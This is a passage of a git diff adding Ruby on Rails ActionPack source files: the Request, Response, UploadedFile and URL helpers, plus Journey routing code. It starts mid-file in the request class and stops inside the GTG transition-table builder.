+ include ActionDispatch::Http::Upload
+ include ActionDispatch::Http::URL
+
+ autoload :Session, 'action_dispatch/request/session'
+
+ LOCALHOST = Regexp.union [/^127\.0\.0\.\d{1,3}$/, /^::1$/, /^0:0:0:0:0:0:0:1(%.*)?$/]
+
+ ENV_METHODS = %w[ AUTH_TYPE GATEWAY_INTERFACE
+ PATH_TRANSLATED REMOTE_HOST
+ REMOTE_IDENT REMOTE_USER REMOTE_ADDR
+ SERVER_NAME SERVER_PROTOCOL
+
+ HTTP_ACCEPT HTTP_ACCEPT_CHARSET HTTP_ACCEPT_ENCODING
+ HTTP_ACCEPT_LANGUAGE HTTP_CACHE_CONTROL HTTP_FROM
+ HTTP_NEGOTIATE HTTP_PRAGMA ].freeze
+
+ ENV_METHODS.each do |env|
+ class_eval <<-METHOD, __FILE__, __LINE__ + 1
+ def #{env.sub(/^HTTP_/n, '').downcase} # def accept_charset
+ @env["#{env}"] # @env["HTTP_ACCEPT_CHARSET"]
+ end # end
+ METHOD
+ end
+
+ def initialize(env)
+ super
+ @method = nil
+ @request_method = nil
+ @remote_ip = nil
+ @original_fullpath = nil
+ @fullpath = nil
+ @ip = nil
+ @uuid = nil
+ end
+
+ def key?(key)
+ @env.key?(key)
+ end
+
+ # List of HTTP request methods from the following RFCs:
+ # Hypertext Transfer Protocol -- HTTP/1.1 (http://www.ietf.org/rfc/rfc2616.txt)
+ # HTTP Extensions for Distributed Authoring -- WEBDAV (http://www.ietf.org/rfc/rfc2518.txt)
+ # Versioning Extensions to WebDAV (http://www.ietf.org/rfc/rfc3253.txt)
+ # Ordered Collections Protocol (WebDAV) (http://www.ietf.org/rfc/rfc3648.txt)
+ # Web Distributed Authoring and Versioning (WebDAV) Access Control Protocol (http://www.ietf.org/rfc/rfc3744.txt)
+ # Web Distributed Authoring and Versioning (WebDAV) SEARCH (http://www.ietf.org/rfc/rfc5323.txt)
+ # PATCH Method for HTTP (http://www.ietf.org/rfc/rfc5789.txt)
+ RFC2616 = %w(OPTIONS GET HEAD POST PUT DELETE TRACE CONNECT)
+ RFC2518 = %w(PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK)
+ RFC3253 = %w(VERSION-CONTROL REPORT CHECKOUT CHECKIN UNCHECKOUT MKWORKSPACE UPDATE LABEL MERGE BASELINE-CONTROL MKACTIVITY)
+ RFC3648 = %w(ORDERPATCH)
+ RFC3744 = %w(ACL)
+ RFC5323 = %w(SEARCH)
+ RFC5789 = %w(PATCH)
+
+ HTTP_METHODS = RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC5789
+
+ HTTP_METHOD_LOOKUP = {}
+
+ # Populate the HTTP method lookup cache
+ HTTP_METHODS.each { |method|
+ HTTP_METHOD_LOOKUP[method] = method.underscore.to_sym
+ }
+
+ # Returns the HTTP \method that the application should see.
+ # In the case where the \method was overridden by a middleware
+ # (for instance, if a HEAD request was converted to a GET,
+ # or if a _method parameter was used to determine the \method
+ # the application should use), this \method returns the overridden
+ # value, not the original.
+ def request_method
+ @request_method ||= check_method(env["REQUEST_METHOD"])
+ end
+
+ # Returns a symbol form of the #request_method
+ def request_method_symbol
+ HTTP_METHOD_LOOKUP[request_method]
+ end
+
+ # Returns the original value of the environment's REQUEST_METHOD,
+ # even if it was overridden by middleware. See #request_method for
+ # more information.
+ def method
+ @method ||= check_method(env["rack.methodoverride.original_method"] || env['REQUEST_METHOD'])
+ end
+
+ # Returns a symbol form of the #method
+ def method_symbol
+ HTTP_METHOD_LOOKUP[method]
+ end
+
+ # Is this a GET (or HEAD) request?
+ # Equivalent to <tt>request.request_method_symbol == :get</tt>.
+ def get?
+ HTTP_METHOD_LOOKUP[request_method] == :get
+ end
+
+ # Is this a POST request?
+ # Equivalent to <tt>request.request_method_symbol == :post</tt>.
+ def post?
+ HTTP_METHOD_LOOKUP[request_method] == :post
+ end
+
+ # Is this a PATCH request?
+ # Equivalent to <tt>request.request_method == :patch</tt>.
+ def patch?
+ HTTP_METHOD_LOOKUP[request_method] == :patch
+ end
+
+ # Is this a PUT request?
+ # Equivalent to <tt>request.request_method_symbol == :put</tt>.
+ def put?
+ HTTP_METHOD_LOOKUP[request_method] == :put
+ end
+
+ # Is this a DELETE request?
+ # Equivalent to <tt>request.request_method_symbol == :delete</tt>.
+ def delete?
+ HTTP_METHOD_LOOKUP[request_method] == :delete
+ end
+
+ # Is this a HEAD request?
+ # Equivalent to <tt>request.request_method_symbol == :head</tt>.
+ def head?
+ HTTP_METHOD_LOOKUP[request_method] == :head
+ end
+
+ # Provides access to the request's HTTP headers, for example:
+ #
+ # request.headers["Content-Type"] # => "text/plain"
+ def headers
+ Http::Headers.new(@env)
+ end
+
+ def original_fullpath
+ @original_fullpath ||= (env["ORIGINAL_FULLPATH"] || fullpath)
+ end
+
+ # Returns the +String+ full path including params of the last URL requested.
+ #
+ # # get "/articles"
+ # request.fullpath # => "/articles"
+ #
+ # # get "/articles?page=2"
+ # request.fullpath # => "/articles?page=2"
+ def fullpath
+ @fullpath ||= super
+ end
+
+ # Returns the original request URL as a +String+.
+ #
+ # # get "/articles?page=2"
+ # request.original_url # => "http://www.example.com/articles?page=2"
+ def original_url
+ base_url + original_fullpath
+ end
+
+ # The +String+ MIME type of the request.
+ #
+ # # get "/articles"
+ # request.media_type # => "application/x-www-form-urlencoded"
+ def media_type
+ content_mime_type.to_s
+ end
+
+ # Returns the content length of the request as an integer.
+ def content_length
+ super.to_i
+ end
+
+ # Returns true if the "X-Requested-With" header contains "XMLHttpRequest"
+ # (case-insensitive). All major JavaScript libraries send this header with
+ # every Ajax request.
+ def xml_http_request?
+ @env['HTTP_X_REQUESTED_WITH'] =~ /XMLHttpRequest/i
+ end
+ alias :xhr? :xml_http_request?
+
+ def ip
+ @ip ||= super
+ end
+
+ # Originating IP address, usually set by the RemoteIp middleware.
+ def remote_ip
+ @remote_ip ||= (@env["action_dispatch.remote_ip"] || ip).to_s
+ end
+
+ # Returns the unique request id, which is based off either the X-Request-Id header that can
+ # be generated by a firewall, load balancer, or web server or by the RequestId middleware
+ # (which sets the action_dispatch.request_id environment variable).
+ #
+ # This unique ID is useful for tracing a request from end-to-end as part of logging or debugging.
+ # This relies on the rack variable set by the ActionDispatch::RequestId middleware.
+ def uuid
+ @uuid ||= env["action_dispatch.request_id"]
+ end
+
+ # Returns the lowercase name of the HTTP server software.
+ def server_software
+ (@env['SERVER_SOFTWARE'] && /^([a-zA-Z]+)/ =~ @env['SERVER_SOFTWARE']) ? $1.downcase : nil
+ end
+
+ # Read the request \body. This is useful for web services that need to
+ # work with raw requests directly.
+ def raw_post
+ unless @env.include? 'RAW_POST_DATA'
+ raw_post_body = body
+ @env['RAW_POST_DATA'] = raw_post_body.read(@env['CONTENT_LENGTH'].to_i)
+ raw_post_body.rewind if raw_post_body.respond_to?(:rewind)
+ end
+ @env['RAW_POST_DATA']
+ end
+
+ # The request body is an IO input stream. If the RAW_POST_DATA environment
+ # variable is already set, wrap it in a StringIO.
+ def body
+ if raw_post = @env['RAW_POST_DATA']
+ raw_post.force_encoding(Encoding::BINARY)
+ StringIO.new(raw_post)
+ else
+ @env['rack.input']
+ end
+ end
+
+ def form_data?
+ FORM_DATA_MEDIA_TYPES.include?(content_mime_type.to_s)
+ end
+
+ def body_stream #:nodoc:
+ @env['rack.input']
+ end
+
+ # TODO This should be broken apart into AD::Request::Session and probably
+ # be included by the session middleware.
+ def reset_session
+ if session && session.respond_to?(:destroy)
+ session.destroy
+ else
+ self.session = {}
+ end
+ @env['action_dispatch.request.flash_hash'] = nil
+ end
+
+ def session=(session) #:nodoc:
+ Session.set @env, session
+ end
+
+ def session_options=(options)
+ Session::Options.set @env, options
+ end
+
+ # Override Rack's GET method to support indifferent access
+ def GET
+ @env["action_dispatch.request.query_parameters"] ||= (normalize_encode_params(super) || {})
+ rescue TypeError => e
+ raise ActionController::BadRequest.new(:query, e)
+ end
+ alias :query_parameters :GET
+
+ # Override Rack's POST method to support indifferent access
+ def POST
+ @env["action_dispatch.request.request_parameters"] ||= (normalize_encode_params(super) || {})
+ rescue TypeError => e
+ raise ActionController::BadRequest.new(:request, e)
+ end
+ alias :request_parameters :POST
+
+ # Returns the authorization header regardless of whether it was specified directly or through one of the
+ # proxy alternatives.
+ def authorization
+ @env['HTTP_AUTHORIZATION'] ||
+ @env['X-HTTP_AUTHORIZATION'] ||
+ @env['X_HTTP_AUTHORIZATION'] ||
+ @env['REDIRECT_X_HTTP_AUTHORIZATION']
+ end
+
+ # True if the request came from localhost, 127.0.0.1.
+ def local?
+ LOCALHOST =~ remote_addr && LOCALHOST =~ remote_ip
+ end
+
+ # Remove nils from the params hash
+ def deep_munge(hash)
+ hash.each do |k, v|
+ case v
+ when Array
+ v.grep(Hash) { |x| deep_munge(x) }
+ v.compact!
+ hash[k] = nil if v.empty?
+ when Hash
+ deep_munge(v)
+ end
+ end
+
+ hash
+ end
+
+ protected
+
+ def parse_query(qs)
+ deep_munge(super)
+ end
+
+ private
+
+ def check_method(name)
+ HTTP_METHOD_LOOKUP[name] || raise(ActionController::UnknownHttpMethod, "#{name}, accepted HTTP methods are #{HTTP_METHODS.to_sentence(:locale => :en)}")
+ name
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/http/response.rb b/actionpack/lib/action_dispatch/http/response.rb
new file mode 100644
index 0000000..60a2ccc
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/response.rb
@@ -0,0 +1,301 @@
+require 'active_support/core_ext/class/attribute_accessors'
+require 'monitor'
+
+module ActionDispatch # :nodoc:
+ # Represents an HTTP response generated by a controller action. Use it to
+ # retrieve the current state of the response, or customize the response. It can
+ # either represent a real HTTP response (i.e. one that is meant to be sent
+ # back to the web browser) or a TestResponse (i.e. one that is generated
+ # from integration tests).
+ #
+ # \Response is mostly a Ruby on \Rails framework implementation detail, and
+ # should never be used directly in controllers. Controllers should use the
+ # methods defined in ActionController::Base instead. For example, if you want
+ # to set the HTTP response's content MIME type, then use
+ # ActionControllerBase#headers instead of Response#headers.
+ #
+ # Nevertheless, integration tests may want to inspect controller responses in
+ # more detail, and that's when \Response can be useful for application
+ # developers. Integration test methods such as
+ # ActionDispatch::Integration::Session#get and
+ # ActionDispatch::Integration::Session#post return objects of type
+ # TestResponse (which are of course also of type \Response).
+ #
+ # For example, the following demo integration test prints the body of the
+ # controller response to the console:
+ #
+ # class DemoControllerTest < ActionDispatch::IntegrationTest
+ # def test_print_root_path_to_console
+ # get('/')
+ # puts response.body
+ # end
+ # end
+ class Response
+ attr_accessor :request, :header
+ attr_reader :status
+ attr_writer :sending_file
+
+ alias_method :headers=, :header=
+ alias_method :headers, :header
+
+ delegate :[], :[]=, :to => :@header
+ delegate :each, :to => :@stream
+
+ # Sets the HTTP response's content MIME type. For example, in the controller
+ # you could write this:
+ #
+ # response.content_type = "text/plain"
+ #
+ # If a character set has been defined for this response (see charset=) then
+ # the character set information will also be included in the content type
+ # information.
+ attr_accessor :charset
+ attr_reader :content_type
+
+ CONTENT_TYPE = "Content-Type".freeze
+ SET_COOKIE = "Set-Cookie".freeze
+ LOCATION = "Location".freeze
+ NO_CONTENT_CODES = [204, 304]
+
+ cattr_accessor(:default_charset) { "utf-8" }
+ cattr_accessor(:default_headers)
+
+ include Rack::Response::Helpers
+ include ActionDispatch::Http::FilterRedirect
+ include ActionDispatch::Http::Cache::Response
+ include MonitorMixin
+
+ class Buffer # :nodoc:
+ def initialize(response, buf)
+ @response = response
+ @buf = buf
+ @closed = false
+ end
+
+ def write(string)
+ raise IOError, "closed stream" if closed?
+
+ @response.commit!
+ @buf.push string
+ end
+
+ def each(&block)
+ @buf.each(&block)
+ end
+
+ def close
+ @response.commit!
+ @closed = true
+ end
+
+ def closed?
+ @closed
+ end
+ end
+
+ attr_reader :stream
+
+ def initialize(status = 200, header = {}, body = [])
+ super()
+
+ header = merge_default_headers(header, self.class.default_headers)
+
+ self.body, self.header, self.status = body, header, status
+
+ @sending_file = false
+ @blank = false
+ @cv = new_cond
+ @committed = false
+ @content_type = nil
+ @charset = nil
+
+ if content_type = self[CONTENT_TYPE]
+ type, charset = content_type.split(/;\s*charset=/)
+ @content_type = Mime::Type.lookup(type)
+ @charset = charset || self.class.default_charset
+ end
+
+ prepare_cache_control!
+
+ yield self if block_given?
+ end
+
+ def await_commit
+ synchronize do
+ @cv.wait_until { @committed }
+ end
+ end
+
+ def commit!
+ synchronize do
+ @committed = true
+ @cv.broadcast
+ end
+ end
+
+ def committed?
+ @committed
+ end
+
+ # Sets the HTTP status code.
+ def status=(status)
+ @status = Rack::Utils.status_code(status)
+ end
+
+ def content_type=(content_type)
+ @content_type = content_type.to_s
+ end
+
+ # The response code of the request.
+ def response_code
+ @status
+ end
+
+ # Returns a string to ensure compatibility with <tt>Net::HTTPResponse</tt>.
+ def code
+ @status.to_s
+ end
+
+ # Returns the corresponding message for the current HTTP status code:
+ #
+ # response.status = 200
+ # response.message # => "OK"
+ #
+ # response.status = 404
+ # response.message # => "Not Found"
+ #
+ def message
+ Rack::Utils::HTTP_STATUS_CODES[@status]
+ end
+ alias_method :status_message, :message
+
+ def respond_to?(method)
+ if method.to_s == 'to_path'
+ stream.respond_to?(:to_path)
+ else
+ super
+ end
+ end
+
+ def to_path
+ stream.to_path
+ end
+
+ # Returns the content of the response as a string. This contains the contents
+ # of any calls to <tt>render</tt>.
+ def body
+ strings = []
+ each { |part| strings << part.to_s }
+ strings.join
+ end
+
+ EMPTY = " "
+
+ # Allows you to manually set or override the response body.
+ def body=(body)
+ @blank = true if body == EMPTY
+
+ if body.respond_to?(:to_path)
+ @stream = body
+ else
+ @stream = build_buffer self, munge_body_object(body)
+ end
+ end
+
+ def body_parts
+ parts = []
+ @stream.each { |x| parts << x }
+ parts
+ end
+
+ def set_cookie(key, value)
+ ::Rack::Utils.set_cookie_header!(header, key, value)
+ end
+
+ def delete_cookie(key, value={})
+ ::Rack::Utils.delete_cookie_header!(header, key, value)
+ end
+
+ def location
+ headers[LOCATION]
+ end
+ alias_method :redirect_url, :location
+
+ def location=(url)
+ headers[LOCATION] = url
+ end
+
+ def close
+ stream.close if stream.respond_to?(:close)
+ end
+
+ def to_a
+ rack_response @status, @header.to_hash
+ end
+ alias prepare! to_a
+ alias to_ary to_a # For implicit splat on 1.9.2
+
+ # Returns the response cookies, converted to a Hash of (name => value) pairs
+ #
+ # assert_equal 'AuthorOfNewPage', r.cookies['author']
+ def cookies
+ cookies = {}
+ if header = self[SET_COOKIE]
+ header = header.split("\n") if header.respond_to?(:to_str)
+ header.each do |cookie|
+ if pair = cookie.split(';').first
+ key, value = pair.split("=").map { |v| Rack::Utils.unescape(v) }
+ cookies[key] = value
+ end
+ end
+ end
+ cookies
+ end
+
+ private
+
+ def merge_default_headers(original, default)
+ return original unless default.respond_to?(:merge)
+
+ default.merge(original)
+ end
+
+ def build_buffer(response, body)
+ Buffer.new response, body
+ end
+
+ def munge_body_object(body)
+ body.respond_to?(:each) ? body : [body]
+ end
+
+ def assign_default_content_type_and_charset!(headers)
+ return if headers[CONTENT_TYPE].present?
+
+ @content_type ||= Mime::HTML
+ @charset ||= self.class.default_charset unless @charset == false
+
+ type = @content_type.to_s.dup
+ type << "; charset=#{@charset}" if append_charset?
+
+ headers[CONTENT_TYPE] = type
+ end
+
+ def append_charset?
+ !@sending_file && @charset != false
+ end
+
+ def rack_response(status, header)
+ assign_default_content_type_and_charset!(header)
+ handle_conditional_get!
+
+ header[SET_COOKIE] = header[SET_COOKIE].join("\n") if header[SET_COOKIE].respond_to?(:join)
+
+ if NO_CONTENT_CODES.include?(@status)
+ header.delete CONTENT_TYPE
+ [status, header, []]
+ else
+ [status, header, self]
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/http/upload.rb b/actionpack/lib/action_dispatch/http/upload.rb
new file mode 100644
index 0000000..b57c84d
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/upload.rb
@@ -0,0 +1,90 @@
+module ActionDispatch
+ module Http
+ # Models uploaded files.
+ #
+ # The actual file is accessible via the +tempfile+ accessor, though some
+ # of its interface is available directly for convenience.
+ #
+ # Uploaded files are temporary files whose lifespan is one request. When
+ # the object is finalized Ruby unlinks the file, so there is no need to
+ # clean them with a separate maintenance task.
+ class UploadedFile
+ # The basename of the file in the client.
+ attr_accessor :original_filename
+
+ # A string with the MIME type of the file.
+ attr_accessor :content_type
+
+ # A +Tempfile+ object with the actual uploaded file. Note that some of
+ # its interface is available directly.
+ attr_accessor :tempfile
+
+ # A string with the headers of the multipart request.
+ attr_accessor :headers
+
+ def initialize(hash) # :nodoc:
+ @tempfile = hash[:tempfile]
+ raise(ArgumentError, ':tempfile is required') unless @tempfile
+
+ @original_filename = encode_filename(hash[:filename])
+ @content_type = hash[:type]
+ @headers = hash[:head]
+ end
+
+ # Shortcut for +tempfile.read+.
+ def read(length=nil, buffer=nil)
+ @tempfile.read(length, buffer)
+ end
+
+ # Shortcut for +tempfile.open+.
+ def open
+ @tempfile.open
+ end
+
+ # Shortcut for +tempfile.close+.
+ def close(unlink_now=false)
+ @tempfile.close(unlink_now)
+ end
+
+ # Shortcut for +tempfile.path+.
+ def path
+ @tempfile.path
+ end
+
+ # Shortcut for +tempfile.rewind+.
+ def rewind
+ @tempfile.rewind
+ end
+
+ # Shortcut for +tempfile.size+.
+ def size
+ @tempfile.size
+ end
+
+ # Shortcut for +tempfile.eof?+.
+ def eof?
+ @tempfile.eof?
+ end
+
+ private
+
+ def encode_filename(filename)
+ # Encode the filename in the utf8 encoding, unless it is nil
+ filename.force_encoding(Encoding::UTF_8).encode! if filename
+ end
+ end
+
+ module Upload # :nodoc:
+ # Replace file upload hash with UploadedFile objects
+ # when normalize and encode parameters.
+ def normalize_encode_params(value)
+ if Hash === value && value.has_key?(:tempfile)
+ UploadedFile.new(value)
+ else
+ super
+ end
+ end
+ private :normalize_encode_params
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/http/url.rb b/actionpack/lib/action_dispatch/http/url.rb
new file mode 100644
index 0000000..6f5a52c
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/url.rb
@@ -0,0 +1,241 @@
+require 'active_support/core_ext/module/attribute_accessors'
+require 'active_support/core_ext/hash/slice'
+
+module ActionDispatch
+ module Http
+ module URL
+ IP_HOST_REGEXP = /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/
+ HOST_REGEXP = /(^.*:\/\/)?([^:]+)(?::(\d+$))?/
+ PROTOCOL_REGEXP = /^([^:]+)(:)?(\/\/)?$/
+
+ mattr_accessor :tld_length
+ self.tld_length = 1
+
+ class << self
+ def extract_domain(host, tld_length = @@tld_length)
+ host.split('.').last(1 + tld_length).join('.') if named_host?(host)
+ end
+
+ def extract_subdomains(host, tld_length = @@tld_length)
+ if named_host?(host)
+ parts = host.split('.')
+ parts[0..-(tld_length + 2)]
+ else
+ []
+ end
+ end
+
+ def extract_subdomain(host, tld_length = @@tld_length)
+ extract_subdomains(host, tld_length).join('.')
+ end
+
+ def url_for(options = {})
+ options = options.dup
+ path = options.delete(:script_name).to_s.chomp("/")
+ path << options.delete(:path).to_s
+
+ params = options[:params].is_a?(Hash) ? options[:params] : options.slice(:params)
+ params.reject! { |_,v| v.to_param.nil? }
+
+ result = build_host_url(options)
+ if options[:trailing_slash]
+ if path.include?('?')
+ result << path.sub(/\?/, '/\&')
+ else
+ result << path.sub(/[^\/]\z|\A\z/, '\&/')
+ end
+ else
+ result << path
+ end
+ result << "?#{params.to_query}" unless params.empty?
+ result << "##{Journey::Router::Utils.escape_fragment(options[:anchor].to_param.to_s)}" if options[:anchor]
+ result
+ end
+
+ private
+
+ def build_host_url(options)
+ if options[:host].blank? && options[:only_path].blank?
+ raise ArgumentError, 'Missing host to link to! Please provide the :host parameter, set default_url_options[:host], or set :only_path to true'
+ end
+
+ result = ""
+
+ unless options[:only_path]
+ if match = options[:host].match(HOST_REGEXP)
+ options[:protocol] ||= match[1] unless options[:protocol] == false
+ options[:host] = match[2]
+ options[:port] = match[3] unless options.key?(:port)
+ end
+
+ options[:protocol] = normalize_protocol(options)
+ options[:host] = normalize_host(options)
+ options[:port] = normalize_port(options)
+
+ result << options[:protocol]
+ result << rewrite_authentication(options)
+ result << options[:host]
+ result << ":#{options[:port]}" if options[:port]
+ end
+ result
+ end
+
+ def named_host?(host)
+ host && IP_HOST_REGEXP !~ host
+ end
+
+ def same_host?(options)
+ (options[:subdomain] == true || !options.key?(:subdomain)) && options[:domain].nil?
+ end
+
+ def rewrite_authentication(options)
+ if options[:user] && options[:password]
+ "#{Rack::Utils.escape(options[:user])}:#{Rack::Utils.escape(options[:password])}@"
+ else
+ ""
+ end
+ end
+
+ def normalize_protocol(options)
+ case options[:protocol]
+ when nil
+ "http://"
+ when false, "//"
+ "//"
+ when PROTOCOL_REGEXP
+ "#{$1}://"
+ else
+ raise ArgumentError, "Invalid :protocol option: #{options[:protocol].inspect}"
+ end
+ end
+
+ def normalize_host(options)
+ return options[:host] if !named_host?(options[:host]) || same_host?(options)
+
+ tld_length = options[:tld_length] || @@tld_length
+
+ host = ""
+ if options[:subdomain] == true || !options.key?(:subdomain)
+ host << extract_subdomain(options[:host], tld_length).to_param
+ elsif options[:subdomain].present?
+ host << options[:subdomain].to_param
+ end
+ host << "." unless host.empty?
+ host << (options[:domain] || extract_domain(options[:host], tld_length))
+ host
+ end
+
+ def normalize_port(options)
+ return nil if options[:port].nil? || options[:port] == false
+
+ case options[:protocol]
+ when "//"
+ nil
+ when "https://"
+ options[:port].to_i == 443 ? nil : options[:port]
+ else
+ options[:port].to_i == 80 ? nil : options[:port]
+ end
+ end
+ end
+
+ def initialize(env)
+ super
+ @protocol = nil
+ @port = nil
+ end
+
+ # Returns the complete URL used for this request.
+ def url
+ protocol + host_with_port + fullpath
+ end
+
+ # Returns 'https://' if this is an SSL request and 'http://' otherwise.
+ def protocol
+ @protocol ||= ssl? ? 'https://' : 'http://'
+ end
+
+ # Returns the \host for this request, such as "example.com".
+ def raw_host_with_port
+ if forwarded = env["HTTP_X_FORWARDED_HOST"]
+ forwarded.split(/,\s?/).last
+ else
+ env['HTTP_HOST'] || "#{env['SERVER_NAME'] || env['SERVER_ADDR']}:#{env['SERVER_PORT']}"
+ end
+ end
+
+ # Returns the host for this request, such as example.com.
+ def host
+ raw_host_with_port.sub(/:\d+$/, '')
+ end
+
+ # Returns a \host:\port string for this request, such as "example.com" or
+ # "example.com:8080".
+ def host_with_port
+ "#{host}#{port_string}"
+ end
+
+ # Returns the port number of this request as an integer.
+ def port
+ @port ||= begin
+ if raw_host_with_port =~ /:(\d+)$/
+ $1.to_i
+ else
+ standard_port
+ end
+ end
+ end
+
+ # Returns the standard \port number for this request's protocol.
+ def standard_port
+ case protocol
+ when 'https://' then 443
+ else 80
+ end
+ end
+
+ # Returns whether this request is using the standard port
+ def standard_port?
+ port == standard_port
+ end
+
+ # Returns a number \port suffix like 8080 if the \port number of this request
+ # is not the default HTTP \port 80 or HTTPS \port 443.
+ def optional_port
+ standard_port? ? nil : port
+ end
+
+ # Returns a string \port suffix, including colon, like ":8080" if the \port
+ # number of this request is not the default HTTP \port 80 or HTTPS \port 443.
+ def port_string
+ standard_port? ? '' : ":#{port}"
+ end
+
+ def server_port
+ @env['SERVER_PORT'].to_i
+ end
+
+ # Returns the \domain part of a \host, such as "rubyonrails.org" in "www.rubyonrails.org". You can specify
+ # a different <tt>tld_length</tt>, such as 2 to catch rubyonrails.co.uk in "www.rubyonrails.co.uk".
+ def domain(tld_length = @@tld_length)
+ ActionDispatch::Http::URL.extract_domain(host, tld_length)
+ end
+
+ # Returns all the \subdomains as an array, so <tt>["dev", "www"]</tt> would be
+ # returned for "dev.www.rubyonrails.org". You can specify a different <tt>tld_length</tt>,
+ # such as 2 to catch <tt>["www"]</tt> instead of <tt>["www", "rubyonrails"]</tt>
+ # in "www.rubyonrails.co.uk".
+ def subdomains(tld_length = @@tld_length)
+ ActionDispatch::Http::URL.extract_subdomains(host, tld_length)
+ end
+
+ # Returns all the \subdomains as a string, so <tt>"dev.www"</tt> would be
+ # returned for "dev.www.rubyonrails.org". You can specify a different <tt>tld_length</tt>,
+ # such as 2 to catch <tt>"www"</tt> instead of <tt>"www.rubyonrails"</tt>
+ # in "www.rubyonrails.co.uk".
+ def subdomain(tld_length = @@tld_length)
+ ActionDispatch::Http::URL.extract_subdomain(host, tld_length)
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey.rb b/actionpack/lib/action_dispatch/journey.rb
new file mode 100644
index 0000000..ad42713
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey.rb
@@ -0,0 +1,5 @@
+require 'action_dispatch/journey/router'
+require 'action_dispatch/journey/gtg/builder'
+require 'action_dispatch/journey/gtg/simulator'
+require 'action_dispatch/journey/nfa/builder'
+require 'action_dispatch/journey/nfa/simulator'
diff --git a/actionpack/lib/action_dispatch/journey/backwards.rb b/actionpack/lib/action_dispatch/journey/backwards.rb
new file mode 100644
index 0000000..3bd20fd
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/backwards.rb
@@ -0,0 +1,5 @@
+module Rack # :nodoc:
+ Mount = ActionDispatch::Journey::Router
+ Mount::RouteSet = ActionDispatch::Journey::Router
+ Mount::RegexpWithNamedGroups = ActionDispatch::Journey::Path::Pattern
+end
diff --git a/actionpack/lib/action_dispatch/journey/formatter.rb b/actionpack/lib/action_dispatch/journey/formatter.rb
new file mode 100644
index 0000000..a732e57
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/formatter.rb
@@ -0,0 +1,146 @@
+require 'action_controller/metal/exceptions'
+
+module ActionDispatch
+ module Journey
+ # The Formatter class is used for formatting URLs. For example, parameters
+ # passed to +url_for+ in rails will eventually call Formatter#generate.
+ class Formatter # :nodoc:
+ attr_reader :routes
+
+ def initialize(routes)
+ @routes = routes
+ @cache = nil
+ end
+
+ def generate(type, name, options, recall = {}, parameterize = nil)
+ constraints = recall.merge(options)
+ missing_keys = []
+
+ match_route(name, constraints) do |route|
+ parameterized_parts = extract_parameterized_parts(route, options, recall, parameterize)
+ next if !name && route.requirements.empty? && route.parts.empty?
+
+ missing_keys = missing_keys(route, parameterized_parts)
+ next unless missing_keys.empty?
+ params = options.dup.delete_if do |key, _|
+ parameterized_parts.key?(key) || route.defaults.key?(key)
+ end
+
+ return [route.format(parameterized_parts), params]
+ end
+
+ message = "No route matches #{constraints.inspect}"
+ message << " missing required keys: #{missing_keys.inspect}" if name
+
+ raise ActionController::UrlGenerationError, message
+ end
+
+ def clear
+ @cache = nil
+ end
+
+ private
+
+ def extract_parameterized_parts(route, options, recall, parameterize = nil)
+ parameterized_parts = recall.merge(options)
+
+ keys_to_keep = route.parts.reverse.drop_while { |part|
+ !options.key?(part) || (options[part] || recall[part]).nil?
+ } | route.required_parts
+
+ (parameterized_parts.keys - keys_to_keep).each do |bad_key|
+ parameterized_parts.delete(bad_key)
+ end
+
+ if parameterize
+ parameterized_parts.each do |k, v|
+ parameterized_parts[k] = parameterize.call(k, v)
+ end
+ end
+
+ parameterized_parts.keep_if { |_, v| v }
+ parameterized_parts
+ end
+
+ def named_routes
+ routes.named_routes
+ end
+
+ def match_route(name, options)
+ if named_routes.key?(name)
+ yield named_routes[name]
+ else
+ routes = non_recursive(cache, options.to_a)
+
+ hash = routes.group_by { |_, r| r.score(options) }
+
+ hash.keys.sort.reverse_each do |score|
+ next if score < 0
+
+ hash[score].sort_by { |i, _| i }.each do |_, route|
+ yield route
+ end
+ end
+ end
+ end
+
+ def non_recursive(cache, options)
+ routes = []
+ stack = [cache]
+
+ while stack.any?
+ c = stack.shift
+ routes.concat(c[:___routes]) if c.key?(:___routes)
+
+ options.each do |pair|
+ stack << c[pair] if c.key?(pair)
+ end
+ end
+
+ routes
+ end
+
+ # Returns an array populated with missing keys if any are present.
+ def missing_keys(route, parts)
+ missing_keys = []
+ tests = route.path.requirements
+ route.required_parts.each { |key|
+ if tests.key?(key)
+ missing_keys << key unless /\A#{tests[key]}\Z/ === parts[key]
+ else
+ missing_keys << key unless parts[key]
+ end
+ }
+ missing_keys
+ end
+
+ def possibles(cache, options, depth = 0)
+ cache.fetch(:___routes) { [] } + options.find_all { |pair|
+ cache.key?(pair)
+ }.map { |pair|
+ possibles(cache[pair], options, depth + 1)
+ }.flatten(1)
+ end
+
+ # Returns +true+ if no missing keys are present, otherwise +false+.
+ def verify_required_parts!(route, parts)
+ missing_keys(route, parts).empty?
+ end
+
+ def build_cache
+ root = { ___routes: [] }
+ routes.each_with_index do |route, i|
+ leaf = route.required_defaults.inject(root) do |h, tuple|
+ h[tuple] ||= {}
+ end
+ (leaf[:___routes] ||= []) << [i, route]
+ end
+ root
+ end
+
+ def cache
+ @cache ||= build_cache
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/gtg/builder.rb b/actionpack/lib/action_dispatch/journey/gtg/builder.rb
new file mode 100644
index 0000000..7d27917
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/gtg/builder.rb
@@ -0,0 +1,162 @@
+require 'action_dispatch/journey/gtg/transition_table'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ module GTG # :nodoc:
+ class Builder # :nodoc:
+ DUMMY = Nodes::Dummy.new
+
+ attr_reader :root, :ast, :endpoints
+
+ def initialize(root)
+ @root = root
+ @ast = Nodes::Cat.new root, DUMMY
+ @followpos = nil
+ end
+
+ def transition_table
+ dtrans = TransitionTable.new
+ marked = {}
+ state_id = Hash.new { |h,k| h[k] = h.length }
+
+ start = firstpos(root)
+ dstates = [start]
+ until dstates.empty?
+ s = dstates.shift
